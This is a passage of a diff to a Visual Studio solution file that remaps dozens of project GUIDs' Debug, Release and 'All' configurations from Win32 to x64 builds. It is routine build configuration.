+		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Release|x64.ActiveCfg = Release|x64
+		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Release|x64.Build.0 = Release|x64
+		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.All|Win32.ActiveCfg = Release|x64
+		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.All|x64.ActiveCfg = Release|x64
+		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.All|x64.Build.0 = Release|x64
 		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Debug|Win32.ActiveCfg = Debug|Win32
 		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Debug|Win32.Build.0 = Debug|Win32
-		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Debug|x64.ActiveCfg = Debug|Win32
+		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Debug|x64.ActiveCfg = Debug|x64
+		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Debug|x64.Build.0 = Debug|x64
 		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Release|Win32.ActiveCfg = Release|Win32
 		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Release|Win32.Build.0 = Release|Win32
-		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Release|x64.ActiveCfg = Release|Win32
+		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Release|x64.ActiveCfg = Release|x64
+		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Release|x64.Build.0 = Release|x64
+		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.All|Win32.ActiveCfg = Release|x64
+		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.All|x64.ActiveCfg = Release|x64
+		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.All|x64.Build.0 = Release|x64
 		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Debug|Win32.ActiveCfg = Debug|Win32
 		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Debug|Win32.Build.0 = Debug|Win32
-		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Debug|x64.ActiveCfg = Debug|Win32
+		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Debug|x64.ActiveCfg = Debug|x64
+		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Debug|x64.Build.0 = Debug|x64
 		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Release|Win32.ActiveCfg = Release|Win32
 		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Release|Win32.Build.0 = Release|Win32
-		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Release|x64.ActiveCfg = Release|Win32
+		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Release|x64.ActiveCfg = Release|x64
+		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Release|x64.Build.0 = Release|x64
+		{1A1FF289-4FD6-4285-A422-D31DD67A4723}.All|Win32.ActiveCfg = Release|Win32
+		{1A1FF289-4FD6-4285-A422-D31DD67A4723}.All|x64.ActiveCfg = Release|Win32
 		{1A1FF289-4FD6-4285-A422-D31DD67A4723}.Debug|Win32.ActiveCfg = Debug|Win32
 		{1A1FF289-4FD6-4285-A422-D31DD67A4723}.Debug|x64.ActiveCfg = Debug|Win32
 		{1A1FF289-4FD6-4285-A422-D31DD67A4723}.Release|Win32.ActiveCfg = Release|Win32
 		{1A1FF289-4FD6-4285-A422-D31DD67A4723}.Release|x64.ActiveCfg = Release|Win32
+		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.All|Win32.ActiveCfg = Release|x64
+		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.All|x64.ActiveCfg = Release|x64
+		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.All|x64.Build.0 = Release|x64
 		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Debug|Win32.ActiveCfg = Debug|Win32
 		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Debug|Win32.Build.0 = Debug|Win32
-		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Debug|x64.ActiveCfg = Debug|Win32
+		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Debug|x64.ActiveCfg = Debug|x64
+		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Debug|x64.Build.0 = Debug|x64
 		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Release|Win32.ActiveCfg = Release|Win32
 		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Release|Win32.Build.0 = Release|Win32
-		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Release|x64.ActiveCfg = Release|Win32
+		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Release|x64.ActiveCfg = Release|x64
+		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Release|x64.Build.0 = Release|x64
+		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.All|Win32.ActiveCfg = Release MS-LDAP|x64
+		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.All|x64.ActiveCfg = Release MS-LDAP|x64
+		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.All|x64.Build.0 = Release MS-LDAP|x64
 		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Debug|Win32.ActiveCfg = Debug MS-LDAP|Win32
 		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Debug|Win32.Build.0 = Debug MS-LDAP|Win32
-		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Debug|x64.ActiveCfg = Debug|Win32
+		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Debug|x64.ActiveCfg = Debug MS-LDAP|x64
+		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Debug|x64.Build.0 = Debug MS-LDAP|x64
 		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Release|Win32.ActiveCfg = Release MS-LDAP|Win32
 		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Release|Win32.Build.0 = Release MS-LDAP|Win32
-		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Release|x64.ActiveCfg = Release|Win32
+		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Release|x64.ActiveCfg = Release MS-LDAP|x64
+		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Release|x64.Build.0 = Release MS-LDAP|x64
+		{A27CCA23-1541-4337-81A4-F0A6413078A0}.All|Win32.ActiveCfg = Release|x64
+		{A27CCA23-1541-4337-81A4-F0A6413078A0}.All|x64.ActiveCfg = Release|x64
+		{A27CCA23-1541-4337-81A4-F0A6413078A0}.All|x64.Build.0 = Release|x64
 		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Debug|Win32.ActiveCfg = Debug|Win32
 		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Debug|Win32.Build.0 = Debug|Win32
-		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Debug|x64.ActiveCfg = Debug|Win32
+		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Debug|x64.ActiveCfg = Debug|x64
+		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Debug|x64.Build.0 = Debug|x64
 		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Release|Win32.ActiveCfg = Release|Win32
 		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Release|Win32.Build.0 = Release|Win32
-		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Release|x64.ActiveCfg = Release|Win32
+		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Release|x64.ActiveCfg = Release|x64
+		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Release|x64.Build.0 = Release|x64
+		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.All|Win32.ActiveCfg = Release|x64
+		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.All|x64.ActiveCfg = Release|x64
+		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.All|x64.Build.0 = Release|x64
 		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Debug|Win32.ActiveCfg = Debug|Win32
 		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Debug|Win32.Build.0 = Debug|Win32
-		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Debug|x64.ActiveCfg = Debug|Win32
+		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Debug|x64.ActiveCfg = Debug|x64
+		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Debug|x64.Build.0 = Debug|x64
 		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Release|Win32.ActiveCfg = Release|Win32
 		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Release|Win32.Build.0 = Release|Win32
-		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Release|x64.ActiveCfg = Release|Win32
+		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Release|x64.ActiveCfg = Release|x64
+		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Release|x64.Build.0 = Release|x64
+		{784113EF-44D9-4949-835D-7065D3C7AD08}.All|Win32.ActiveCfg = Release|x64
+		{784113EF-44D9-4949-835D-7065D3C7AD08}.All|x64.ActiveCfg = Release|x64
+		{784113EF-44D9-4949-835D-7065D3C7AD08}.All|x64.Build.0 = Release|x64
 		{784113EF-44D9-4949-835D-7065D3C7AD08}.Debug|Win32.ActiveCfg = Debug|Win32
 		{784113EF-44D9-4949-835D-7065D3C7AD08}.Debug|Win32.Build.0 = Debug|Win32
-		{784113EF-44D9-4949-835D-7065D3C7AD08}.Debug|x64.ActiveCfg = Debug|Win32
+		{784113EF-44D9-4949-835D-7065D3C7AD08}.Debug|x64.ActiveCfg = Debug|x64
+		{784113EF-44D9-4949-835D-7065D3C7AD08}.Debug|x64.Build.0 = Debug|x64
 		{784113EF-44D9-4949-835D-7065D3C7AD08}.Release|Win32.ActiveCfg = Release|Win32
 		{784113EF-44D9-4949-835D-7065D3C7AD08}.Release|Win32.Build.0 = Release|Win32
-		{784113EF-44D9-4949-835D-7065D3C7AD08}.Release|x64.ActiveCfg = Release|Win32
+		{784113EF-44D9-4949-835D-7065D3C7AD08}.Release|x64.ActiveCfg = Release|x64
+		{784113EF-44D9-4949-835D-7065D3C7AD08}.Release|x64.Build.0 = Release|x64
+		{89385C74-5860-4174-9CAF-A39E7C48909C}.All|Win32.ActiveCfg = Release|x64
+		{89385C74-5860-4174-9CAF-A39E7C48909C}.All|x64.ActiveCfg = Release|x64
+		{89385C74-5860-4174-9CAF-A39E7C48909C}.All|x64.Build.0 = Release|x64
 		{89385C74-5860-4174-9CAF-A39E7C48909C}.Debug|Win32.ActiveCfg = Debug|Win32
 		{89385C74-5860-4174-9CAF-A39E7C48909C}.Debug|Win32.Build.0 = Debug|Win32
-		{89385C74-5860-4174-9CAF-A39E7C48909C}.Debug|x64.ActiveCfg = Debug|Win32
+		{89385C74-5860-4174-9CAF-A39E7C48909C}.Debug|x64.ActiveCfg = Debug|x64
+		{89385C74-5860-4174-9CAF-A39E7C48909C}.Debug|x64.Build.0 = Debug|x64
 		{89385C74-5860-4174-9CAF-A39E7C48909C}.Release|Win32.ActiveCfg = Release|Win32
 		{89385C74-5860-4174-9CAF-A39E7C48909C}.Release|Win32.Build.0 = Release|Win32
-		{89385C74-5860-4174-9CAF-A39E7C48909C}.Release|x64.ActiveCfg = Release|Win32
+		{89385C74-5860-4174-9CAF-A39E7C48909C}.Release|x64.ActiveCfg = Release|x64
+		{89385C74-5860-4174-9CAF-A39E7C48909C}.Release|x64.Build.0 = Release|x64
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.All|Win32.ActiveCfg = Release|x64
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.All|x64.ActiveCfg = Release|x64
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.All|x64.Build.0 = Release|x64
 		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Debug|Win32.ActiveCfg = Debug|Win32
 		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Debug|Win32.Build.0 = Debug|Win32
-		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Debug|x64.ActiveCfg = Debug|Win32
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Debug|x64.ActiveCfg = Debug|x64
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Debug|x64.Build.0 = Debug|x64
 		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Release|Win32.ActiveCfg = Release|Win32
 		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Release|Win32.Build.0 = Release|Win32
-		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Release|x64.ActiveCfg = Release|Win32
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Release|x64.ActiveCfg = Release|x64
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Release|x64.Build.0 = Release|x64
+		{692F6330-4D87-4C82-81DF-40DB5892636E}.All|Win32.ActiveCfg = Release|x64
+		{692F6330-4D87-4C82-81DF-40DB5892636E}.All|x64.ActiveCfg = Release|x64
+		{692F6330-4D87-4C82-81DF-40DB5892636E}.All|x64.Build.0 = Release|x64
 		{692F6330-4D87-4C82-81DF-40DB5892636E}.Debug|Win32.ActiveCfg = Debug|Win32
-		{692F6330-4D87-4C82-81DF-40DB5892636E}.Debug|x64.ActiveCfg = Debug|Win32
+		{692F6330-4D87-4C82-81DF-40DB5892636E}.Debug|x64.ActiveCfg = Debug|x64
 		{692F6330-4D87-4C82-81DF-40DB5892636E}.Release|Win32.ActiveCfg = Release|Win32
-		{692F6330-4D87-4C82-81DF-40DB5892636E}.Release|x64.ActiveCfg = Release|Win32
+		{692F6330-4D87-4C82-81DF-40DB5892636E}.Release|x64.ActiveCfg = Release|x64
+		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.All|Win32.ActiveCfg = Release|x64
+		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.All|x64.ActiveCfg = Release|x64
+		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.All|x64.Build.0 = Release|x64
 		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Debug|Win32.Build.0 = Debug|Win32
-		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Debug|x64.ActiveCfg = Debug|Win32
+		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Debug|x64.ActiveCfg = Debug|x64
+		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Debug|x64.Build.0 = Debug|x64
 		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Release|Win32.ActiveCfg = Release|Win32
 		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Release|Win32.Build.0 = Release|Win32
-		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Release|x64.ActiveCfg = Release|Win32
+		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Release|x64.ActiveCfg = Release|x64
+		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Release|x64.Build.0 = Release|x64
+		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.All|Win32.ActiveCfg = Release|x64
+		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.All|x64.ActiveCfg = Release|x64
+		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.All|x64.Build.0 = Release|x64
 		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Debug|Win32.ActiveCfg = Debug|Win32
 		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Debug|Win32.Build.0 = Debug|Win32
-		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Debug|x64.ActiveCfg = Debug|Win32
+		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Debug|x64.ActiveCfg = Debug|x64
+		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Debug|x64.Build.0 = Debug|x64
 		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Release|Win32.ActiveCfg = Release|Win32
 		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Release|Win32.Build.0 = Release|Win32
-		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Release|x64.ActiveCfg = Release|Win32
+		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Release|x64.ActiveCfg = Release|x64
+		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Release|x64.Build.0 = Release|x64
+		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.All|Win32.ActiveCfg = Release|x64
+		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.All|x64.ActiveCfg = Release|x64
+		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.All|x64.Build.0 = Release|x64
 		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Debug|Win32.ActiveCfg = Debug|Win32
 		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Debug|Win32.Build.0 = Debug|Win32
-		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Debug|x64.ActiveCfg = Debug|Win32
+		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Debug|x64.ActiveCfg = Debug|x64
+		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Debug|x64.Build.0 = Debug|x64
 		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Release|Win32.ActiveCfg = Release|Win32
 		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Release|Win32.Build.0 = Release|Win32
-		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Release|x64.ActiveCfg = Release|Win32
+		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Release|x64.ActiveCfg = Release|x64
+		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Release|x64.Build.0 = Release|x64
+		{1C453396-D912-4213-89FD-9B489162B7B5}.All|Win32.ActiveCfg = Release|x64
+		{1C453396-D912-4213-89FD-9B489162B7B5}.All|x64.ActiveCfg = Release|x64
+		{1C453396-D912-4213-89FD-9B489162B7B5}.All|x64.Build.0 = Release|x64
 		{1C453396-D912-4213-89FD-9B489162B7B5}.Debug|Win32.ActiveCfg = Debug|Win32
 		{1C453396-D912-4213-89FD-9B489162B7B5}.Debug|Win32.Build.0 = Debug|Win32
-		{1C453396-D912-4213-89FD-9B489162B7B5}.Debug|x64.ActiveCfg = Debug|Win32
+		{1C453396-D912-4213-89FD-9B489162B7B5}.Debug|x64.ActiveCfg = Debug|x64
+		{1C453396-D912-4213-89FD-9B489162B7B5}.Debug|x64.Build.0 = Debug|x64
 		{1C453396-D912-4213-89FD-9B489162B7B5}.Release|Win32.ActiveCfg = Release|Win32
 		{1C453396-D912-4213-89FD-9B489162B7B5}.Release|Win32.Build.0 = Release|Win32
-		{1C453396-D912-4213-89FD-9B489162B7B5}.Release|x64.ActiveCfg = Release|Win32
+		{1C453396-D912-4213-89FD-9B489162B7B5}.Release|x64.ActiveCfg = Release|x64
+		{1C453396-D912-4213-89FD-9B489162B7B5}.Release|x64.Build.0 = Release|x64
+		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.All|Win32.ActiveCfg = Release|x64
+		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.All|x64.ActiveCfg = Release|x64
+		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.All|x64.Build.0 = Release|x64
 		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Debug|Win32.ActiveCfg = Debug|Win32
 		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Debug|Win32.Build.0 = Debug|Win32
-		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Debug|x64.ActiveCfg = Debug|Win32
+		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Debug|x64.ActiveCfg = Debug|x64
+		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Debug|x64.Build.0 = Debug|x64
 		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Release|Win32.ActiveCfg = Release|Win32
 		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Release|Win32.Build.0 = Release|Win32
-		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Release|x64.ActiveCfg = Release|Win32
+		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Release|x64.ActiveCfg = Release|x64
+		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Release|x64.Build.0 = Release|x64
+		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.All|Win32.ActiveCfg = Release|x64
+		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.All|x64.ActiveCfg = Release|x64
+		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.All|x64.Build.0 = Release|x64
 		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Debug|Win32.ActiveCfg = Debug|Win32
 		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Debug|Win32.Build.0 = Debug|Win32
-		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Debug|x64.ActiveCfg = Debug|Win32
+		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Debug|x64.ActiveCfg = Debug|x64
+		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Debug|x64.Build.0 = Debug|x64
 		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Release|Win32.ActiveCfg = Release|Win32
 		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Release|Win32.Build.0 = Release|Win32
-		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Release|x64.ActiveCfg = Release|Win32
+		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Release|x64.ActiveCfg = Release|x64
+		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Release|x64.Build.0 = Release|x64
+		{C24FB505-05D7-4319-8485-7540B44C8603}.All|Win32.ActiveCfg = Release|x64
+		{C24FB505-05D7-4319-8485-7540B44C8603}.All|x64.ActiveCfg = Release|x64
+		{C24FB505-05D7-4319-8485-7540B44C8603}.All|x64.Build.0 = Release|x64
 		{C24FB505-05D7-4319-8485-7540B44C8603}.Debug|Win32.ActiveCfg = Debug|Win32
 		{C24FB505-05D7-4319-8485-7540B44C8603}.Debug|Win32.Build.0 = Debug|Win32
-		{C24FB505-05D7-4319-8485-7540B44C8603}.Debug|x64.ActiveCfg = Debug|Win32
+		{C24FB505-05D7-4319-8485-7540B44C8603}.Debug|x64.ActiveCfg = Debug|x64
+		{C24FB505-05D7-4319-8485-7540B44C8603}.Debug|x64.Build.0 = Debug|x64
 		{C24FB505-05D7-4319-8485-7540B44C8603}.Release|Win32.ActiveCfg = Release|Win32
 		{C24FB505-05D7-4319-8485-7540B44C8603}.Release|Win32.Build.0 = Release|Win32
-		{C24FB505-05D7-4319-8485-7540B44C8603}.Release|x64.ActiveCfg = Release|Win32
+		{C24FB505-05D7-4319-8485-7540B44C8603}.Release|x64.ActiveCfg = Release|x64
+		{C24FB505-05D7-4319-8485-7540B44C8603}.Release|x64.Build.0 = Release|x64
+		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.All|Win32.ActiveCfg = Release|x64
+		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.All|x64.ActiveCfg = Release|x64
+		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.All|x64.Build.0 = Release|x64
 		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Debug|Win32.ActiveCfg = Debug|Win32
 		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Debug|Win32.Build.0 = Debug|Win32
-		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Debug|x64.ActiveCfg = Debug|Win32
+		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Debug|x64.ActiveCfg = Debug|x64
+		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Debug|x64.Build.0 = Debug|x64
 		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Release|Win32.ActiveCfg = Release|Win32
 		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Release|Win32.Build.0 = Release|Win32
-		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Release|x64.ActiveCfg = Release|Win32
+		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Release|x64.ActiveCfg = Release|x64
+		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Release|x64.Build.0 = Release|x64
+		{05515420-16DE-4E63-BE73-85BE85BA5142}.All|Win32.ActiveCfg = Release|x64
+		{05515420-16DE-4E63-BE73-85BE85BA5142}.All|x64.ActiveCfg = Release|x64
+		{05515420-16DE-4E63-BE73-85BE85BA5142}.All|x64.Build.0 = Release|x64
 		{05515420-16DE-4E63-BE73-85BE85BA5142}.Debug|Win32.ActiveCfg = Debug|Win32
 		{05515420-16DE-4E63-BE73-85BE85BA5142}.Debug|Win32.Build.0 = Debug|Win32
-		{05515420-16DE-4E63-BE73-85BE85BA5142}.Debug|x64.ActiveCfg = Debug|Win32
+		{05515420-16DE-4E63-BE73-85BE85BA5142}.Debug|x64.ActiveCfg = Debug|x64
+		{05515420-16DE-4E63-BE73-85BE85BA5142}.Debug|x64.Build.0 = Debug|x64
 		{05515420-16DE-4E63-BE73-85BE85BA5142}.Release|Win32.ActiveCfg = Release|Win32
 		{05515420-16DE-4E63-BE73-85BE85BA5142}.Release|Win32.Build.0 = Release|Win32
-		{05515420-16DE-4E63-BE73-85BE85BA5142}.Release|x64.ActiveCfg = Release|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Debug|Win32.ActiveCfg = Debug|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Debug|Win32.Build.0 = Debug|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Debug|x64.ActiveCfg = Debug|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Release|Win32.ActiveCfg = Release|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Release|Win32.Build.0 = Release|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Release|x64.ActiveCfg = Release|Win32
+		{05515420-16DE-4E63-BE73-85BE85BA5142}.Release|x64.ActiveCfg = Release|x64
+		{05515420-16DE-4E63-BE73-85BE85BA5142}.Release|x64.Build.0 = Release|x64
+		{1906D736-08BD-4EE1-924F-B536249B9A54}.All|Win32.ActiveCfg = Release DLL|x64
+		{1906D736-08BD-4EE1-924F-B536249B9A54}.All|x64.ActiveCfg = Release DLL|x64
+		{1906D736-08BD-4EE1-924F-B536249B9A54}.All|x64.Build.0 = Release DLL|x64
 		{1906D736-08BD-4EE1-924F-B536249B9A54}.Debug|Win32.ActiveCfg = Debug|Win32
 		{1906D736-08BD-4EE1-924F-B536249B9A54}.Debug|Win32.Build.0 = Debug|Win32
-		{1906D736-08BD-4EE1-924F-B536249B9A54}.Debug|x64.ActiveCfg = Debug|Win32
+		{1906D736-08BD-4EE1-924F-B536249B9A54}.Debug|x64.ActiveCfg = Debug|x64
+		{1906D736-08BD-4EE1-924F-B536249B9A54}.Debug|x64.Build.0 = Debug|x64
 		{1906D736-08BD-4EE1-924F-B536249B9A54}.Release|Win32.ActiveCfg = Release|Win32
 		{1906D736-08BD-4EE1-924F-B536249B9A54}.Release|Win32.Build.0 = Release|Win32
-		{1906D736-08BD-4EE1-924F-B536249B9A54}.Release|x64.ActiveCfg = Release|Win32
+		{1906D736-08BD-4EE1-924F-B536249B9A54}.Release|x64.ActiveCfg = Release|x64
+		{1906D736-08BD-4EE1-924F-B536249B9A54}.Release|x64.Build.0 = Release|x64
+		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.All|Win32.ActiveCfg = Release Dll|x64
+		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.All|x64.ActiveCfg = Release Dll|x64
+		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.All|x64.Build.0 = Release Dll|x64
 		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Debug|Win32.ActiveCfg = Debug|Win32
 		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Debug|Win32.Build.0 = Debug|Win32
-		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Debug|x64.ActiveCfg = Debug|Win32
+		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Debug|x64.ActiveCfg = Debug|x64
+		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Debug|x64.Build.0 = Debug|x64
 		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Release|Win32.ActiveCfg = Release|Win32
 		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Release|Win32.Build.0 = Release|Win32
-		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Release|x64.ActiveCfg = Release|Win32
+		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Release|x64.ActiveCfg = Release|x64
+		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Release|x64.Build.0 = Release|x64
+		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.All|Win32.ActiveCfg = Release DLL|x64
+		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.All|x64.ActiveCfg = Release DLL|x64
+		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.All|x64.Build.0 = Release DLL|x64
 		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Debug|Win32.ActiveCfg = Debug|Win32
